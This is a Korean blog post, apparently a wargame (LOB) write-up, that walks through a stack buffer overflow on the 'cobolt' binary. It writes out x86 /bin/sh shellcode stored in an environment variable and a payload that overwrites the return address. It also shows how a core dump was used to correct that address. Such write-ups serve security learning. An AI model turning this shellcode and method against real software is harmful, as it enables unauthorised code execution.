Pwnable/LOB

[LOB] gremlin 문제 풀이!

RootJJang 2022. 5. 12. 11:14
SMALL

cat 소스코드

 

이번엔 buffer 크기가 작아서 쉘코드를 직접 넣는 방법은 사용 못하겠네요

 

그렇다면 환경변수로 쉘코드를 설정해서 쉘코드의 주소를 RET으로 덮어보는 방법을 사용해 보겠슴다

 

export shellcode=`python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

 

shellcode라는 환경변수를 설정해주고 주소를 구해봅시다

 

쉘코드 주소 구하는 코드

 

컴파일 후에 실행시켜보니 잘 나오는 걸 볼 수 있습니당

 

그럼 이제 페이로드를 짜보겠습니다

 

Paylaod = dummy[20] + 0xbfffff09

 

최종 페이로드 = ./cobolt `python -c 'print "\x90"*20 + "\x09\xff\xff\xbf"'`

 

엄? 왜 안 될까요..

 

tmp에 coblt 파일을 복사해서 다시 실행해보겠습니다

 

음 core dumped네요

 

이게 파일이 실행되면서 RET 주소가 바뀔 때가 있어서 오류가 났던 것 같습니다

 

core를 분석해보겠습니다

 

저렇게 gdb에 명령어를 쳐주고 아래를 내리다 보면

 

아까 제가 페이로드로 넣어준 값이 보이네요!

 

저기가 더 정확한 주소가 될 것 같습니다

 

저는 RET을 덮어줄 주소를 0xbfffff20으로 해주겠습니다

 

플래그 겟토다제!

LIST

'Pwnable > LOB' 카테고리의 다른 글

[LOB] wolfman 문제 풀이!!!!  (0) 2022.05.13
[LOB] orc 문제 풀이!!!!  (0) 2022.05.13
[LOB] goblin 문제 풀이!!!!  (0) 2022.05.12
[LOB] cobolt 문제 풀이!  (2) 2022.05.12
[LOB] gate 문제 풀이!  (2) 2022.05.12